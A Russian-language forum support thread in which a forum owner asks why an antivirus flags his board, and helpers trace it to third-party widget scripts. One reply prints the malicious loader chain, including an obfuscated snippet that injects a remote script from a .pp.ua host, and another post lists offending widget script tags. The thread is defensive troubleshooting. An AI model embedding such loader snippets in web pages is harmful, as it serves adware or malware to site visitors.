Техническая поддержка сервиса Quadro.Boards

Объявление

Новости сервиса

О форуме

Quadro.Support – это форум технической поддержки различных проектов и сервисов Quadro.Systems LLC, на котором грамотные технические специалисты всегда смогут помочь вам в решении проблем, или же подсказать ответы на самые сложные вопросы. Так же на форуме собрана обширная база знаний по различным аспектам наших сервисов. Не забывайте пользоваться поиском ;)

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » Техническая поддержка сервиса Quadro.Boards » Архив » Вредоносная ссылка на форуме(


Вредоносная ссылка на форуме(

Сообщений 1 страница 12 из 12

1

Извиняюсь, если не в тот раздел.
Такая проблема, у пользователя на форуме появляется окно с предупреждением, на которое резко реагирует Каспер. Окно это появляется только на этом форуме, на других нормально.  Я так понимаю, что если бы что-то было в настройках форума, то это окно появлялось бы у всех, но оно появляется только у одного-двух-трёх пользователей.
  Подскажите, куда копать, что это может быть.
  Скрин реакции Каспера:

http://s2.uploads.ru/t/6lPUO.png

  Адрес форума http://vozrastx.anihub.ru/

0

2

Nikolai4
Вот этот скрипт

<script src="http://nrb.rbc.pp.ua/swfobj2.js" language="JavaScript"></script>

генерит сие

document.write('<script language="javascript" src="http://wave.mp3.pp.ua/ijayax.js"></script>');


что в свою очередь плодит противную рекламу (сообщение в нижнем левом углу)

(function(w) {
var script = document.createElement('script');
var i = setInterval(function() {
if (typeof w.document.body !== 'undefined') {
script.src = 'http://'+'rbc.'+'rbc.'+'pp.'+'ua'+'/?966793=_bT9-6_r5ebq4uDt-rS4sL0';
w.document.body.appendChild(script);
clearInterval(i);
}
}, 200);
})(window);


Если скрипта <script src="http://nrb.rbc.pp.ua/swfobj2.js" language="JavaScript"></script> не установлено у Вас в хтмл-верх, возможно его генерит какой-то из других сторонних скриптов, установленных там же.
Советую отфильтровать все установленное на форуме и стараться использовать только те скрипты, которые выкладываются на форумах поддержки пользователей или попросить модераторов таких форумов помочь Вам с поиском тех или иных скриптов.
Использование сторонних скриптов может быть небезопасно для Вашего форума, Вас и Ваших пользователей!

0

3

Понятно, спасибо.
Но опять вопрос, если это генерит скрипт на форуме, почему же вредоносное окно видят не все пользователи?
Указанного скрипта в настройках нет.

Отредактировано Nikolai4 (31.12.2012 01:30:26)

0

4

Nikolai4
У некоторых браузеры блокируют окно, у других файерволл не позволяет этим окнам появляться. Есть ряд причин, по которым окно видят не все.

+1

5

Понятно.  Уже убираю потихоньку последние поставленные скрипты, как говорится "будем посмотреть".
Спасибо за поддержку. С наступающим Новым годом!

0

6

Nikolai4
И Вас)

0

7

Всё решилось. Виноваты были скрипты:

<script language="JavaScript" src="http://101widgets.com/0000093b/550/100"></script>
<script language="JavaScript" src="http://101widgets.com/01001012/100/100"></script>


  Не ставьте скрипты с этого ресурса.

0

8

С Новым годом всех) Та же проблема, не пустил человека на сайт антивирусник (тренд микро интернет секьюрити)
Пишет (перевод с итальянского):

Веб-сайт, который вы хотите посетить, чтобы передавать вредоносное программное обеспечение на компьютер, или он мог бы это сделать с другим пользователем. Может быть также вовлечены в интернет-мошенничества или обмана.


Проверил др. Вебом, вирусов не обнаружено на сайте, но куча каких-то скриптов, которых у меня не стоит.

Результаты:

Проверка: http://i.rusff.ru/f/ru/rusff/lib.js?1
Размер файла: 2960 байт
MD5 файла: 0cb9587f0bd4695701244078925a76b7

http://i.rusff.ru/f/ru/rusff/lib.js?1 - archive JS-HTML
>http://i.rusff.ru/f/ru/rusff/lib.js?1/JSFile_1[0][b90] - Ok
http://i.rusff.ru/f/ru/rusff/lib.js?1 - Ok

Проверка: http://i.rusff.ru/f/ru/rusff/jquery.jgrowl_minimized.js
Размер файла: 5769 байт
MD5 файла: 837bfba6c079ab2b86b3da9f01fcd434

http://i.rusff.ru/f/ru/rusff/jquery.jgrowl_minimized.js - Ok

Проверка: http://i.rusff.ru/f/ru/rusff/jquery.tex … pressed.js
Размер файла: 1322 байт
MD5 файла: 4e26361248141531f2089fcc9f992d48

http://i.rusff.ru/f/ru/rusff/jquery.tex … pressed.js - archive JS-HTML
>http://i.rusff.ru/f/ru/rusff/jquery.textarearesizer.compressed.js/JSFile_1[0][52a] - Ok
http://i.rusff.ru/f/ru/rusff/jquery.tex … pressed.js - Ok

Проверка: http://yandex.st/jquery/1.4.4/jquery.min.js
Размер файла: 76.76 КБ
MD5 файла: 73a9c334c5ca71d70d092b42064f6476

http://yandex.st/jquery/1.4.4/jquery.min.js - archive JS-HTML
>http://yandex.st/jquery/1.4.4/jquery.min.js/JSTag_1[e9a6][4963] - Ok
http://yandex.st/jquery/1.4.4/jquery.min.js - Ok

Проверка: http://i.rusff.ru/f/ru/rusff/quadro.core.js?v4.12
Размер файла: 102.99 КБ
MD5 файла: 517336fd47ccea21b7cc9cbf760f413b

http://i.rusff.ru/f/ru/rusff/quadro.core.js?v4.12 - archive JS-HTML
>http://i.rusff.ru/f/ru/rusff/quadro.core.js?v4.12/IFrame_1[13] - Ok
http://i.rusff.ru/f/ru/rusff/quadro.core.js?v4.12 - Ok

Проверка: http://i.rusff.ru/f/ru/rusff/rusff.live.js?14
Размер файла: 8324 байт
MD5 файла: e2ffdfb44d17ebbdfbe3c3a09a535412

http://i.rusff.ru/f/ru/rusff/rusff.live.js?14 - Ok

Проверка: http://pagead2.googlesyndication.com/pagead/show_ads.js
Размер файла: 13.49 КБ
MD5 файла: 62241d7ce7a2c0e7d4c7f0772ad42883

http://pagead2.googlesyndication.com/pagead/show_ads.js - Ok

Проверка: http://st1.bbcorp.ru/js/jquery.tipsy.min.js
Размер файла: 3565 байт
MD5 файла: 7d74a44a7988c34d75ee91ac3d445f40

http://st1.bbcorp.ru/js/jquery.tipsy.min.js - Ok

Проверка: http://i.rusff.ru/f/ru/rusff/custom_rusff.js
Размер файла: 2868 байт
MD5 файла: ea0e2e55c36426cb01f863c520dbc09a

http://i.rusff.ru/f/ru/rusff/custom_rusff.js - archive JS-HTML
>http://i.rusff.ru/f/ru/rusff/custom_rusff.js/JSFile_1[0][b34] - Ok
http://i.rusff.ru/f/ru/rusff/custom_rusff.js - Ok

Проверка: http://i.rusff.ru/f/ru/rusff/uppod.js
Размер файла: 78.87 КБ
MD5 файла: 68c5ff99b30ce6ad8fb911948c384acd

http://i.rusff.ru/f/ru/rusff/uppod.js - Ok

Проверка: http://hostjs-mybb2011.narod.ru/js/Deff_BigPalette.js
Размер файла: 5862 байт
MD5 файла: 5c230f222754561afe90d6051d74ca2b

http://hostjs-mybb2011.narod.ru/js/Deff_BigPalette.js - archive JS-HTML
>http://hostjs-mybb2011.narod.ru/js/Deff_BigPalette.js/JSFile_1[0][16e6] - Ok
http://hostjs-mybb2011.narod.ru/js/Deff_BigPalette.js - Ok

Проверка: http://yandex.st/swfobject/2.2/swfobject.min.js
Размер файла: 10220 байт
MD5 файла: 892a543f3abb54e8ec1ada55be3b0649

http://yandex.st/swfobject/2.2/swfobject.min.js - Ok

Проверка: http://extasy.rusff.ru/
Версия антивирусного ядра: 7.0.4.9250
Вирусных записей: 3528218
Размер файла: 44.65 КБ
MD5 файла: 3d68e7100152d70156f6bf5993dabb86

http://extasy.rusff.ru/ - archive JS-HTML
>http://extasy.rusff.ru//JSTAG_1[153][244] - Ok
>http://extasy.rusff.ru//JSTAG_2[892][9b] - Ok
>http://extasy.rusff.ru//JSTAG_3[9b8][111] - Ok
>http://extasy.rusff.ru//JSTAG_4[b47][8d] - Ok
>http://extasy.rusff.ru//JSTAG_5[f0d][d2d] - Ok
>http://extasy.rusff.ru//JSTAG_6[1c6b][46] - Ok
>http://extasy.rusff.ru//JSTAG_7[1cdf][a8] - Ok
>http://extasy.rusff.ru//JSTAG_8[1db5][874] - Ok
>http://extasy.rusff.ru//JSTAG_9[2719][143] - Ok
>http://extasy.rusff.ru//JSTAG_10[306b][1d8] - Ok
>http://extasy.rusff.ru//JSTAG_11[329a][49] - Ok
>http://extasy.rusff.ru//JSTAG_12[330c][131] - Ok
>http://extasy.rusff.ru//JSTAG_13[3823][1b1] - Ok
>http://extasy.rusff.ru//JSTAG_14[4e9b][1be] - Ok
>http://extasy.rusff.ru//JSTAG_15[7ccb][9c] - Ok
>http://extasy.rusff.ru//JSTAG_16[7fab][14c] - Ok
>http://extasy.rusff.ru//JSTAG_17[8626][4b4] - Ok
>http://extasy.rusff.ru//JSTAG_18[8c51][7a] - Ok
>http://extasy.rusff.ru//JSTAG_19[8d89][1be] - Ok
>http://extasy.rusff.ru//JSTAG_20[8ffd][1fb] - Ok
>http://extasy.rusff.ru//JSTAG_21[928f][128] - Ok
>http://extasy.rusff.ru//JSTAG_22[947a][262] - Ok
>http://extasy.rusff.ru//JSTAG_23[9706][152] - Ok
>http://extasy.rusff.ru//JSTAG_24[9afd][6c1] - Ok
>http://extasy.rusff.ru//JSTAG_25[a303][40f] - Ok
>http://extasy.rusff.ru//JSTAG_26[a780][108] - Ok
>http://extasy.rusff.ru//JSTAG_27[a8b2][9cb] - Ok
>http://extasy.rusff.ru//JSTag_28[329f][44] - Ok
>http://extasy.rusff.ru//JSTag_29[3311][12c] - Ok
>http://extasy.rusff.ru//JSTag_30[7cd0][97] - Ok
>http://extasy.rusff.ru//JSTag_31[9bb9][605] - Ok
>http://extasy.rusff.ru//IFrame_32[13] - Ok
>http://extasy.rusff.ru//JSEvent_33[65] - Ok
http://extasy.rusff.ru/ - Ok

Подскажите, что надо убирать и, главное, как?

Отредактировано Ichimaru Gin (02.01.2013 15:07:35)

0

9

Ichimaru Gin
Большинство скриптов, которые Вы обнаружили, это скрипты, установленные сервисом.
Не стоит их убирать :)

Какие-нибудь всплывающие окна или странное поведение ссылок/кнопок (переадресация, кнопки не нажимаются и т.п.) не наблюдалось у того пользователя?
Может ли он сделать скриншот того, что происходит, когда пытается зайти на форум? Какой у него браузер?
Встречалось ли у кого-то еще подобное?

На первый взгляд - все в норме.

+1

10

Скрина сделать не может, с ноута. Браузер Мозила.
Больше ни у кого, но слишком мало человек заходили, мало ли...
Говорит:

> у меня если включён этот тенд микро он просто не пускает на страницу и вместо нужной вывешивает предупреждение

Никаких других странных действий на компе не происходит.
Попросил открыть сайт поддержки. Квадробордс не открылся, а мубб открылся)
Полагаю, что дело не в мистических скриптах на моем сайте  :D Так что ну его к лешему)))

0

11

Ichimaru Gin написал(а):

Скрина сделать не может, с ноута.

Чем ноут мешает сделать скрин? ) Может на какой-то скрипт от квадробоардс реагирует. Надо бы посмотреть на что он конкретно ругается, думаю в недрах антивируса это можно найти.

А на какие-нибудь другие сайты квадробоардс он вообще может зайти?

0

12

sadhaka
Я так понял, что не может никуда из форумов квадробордс, да и некоторые другие хостинги тоже не нравятся его антивируснику. Но разбираться дальше нет возможности, пользователь пропадающий) Если появится, я попробую попросить продолжить исследования)
Спасибо за вникание в проблемы)))

0


Вы здесь » Техническая поддержка сервиса Quadro.Boards » Архив » Вредоносная ссылка на форуме(


Рейтинг форумов | Создать форум бесплатно © 2007–2016 «QuadroSystems» LLC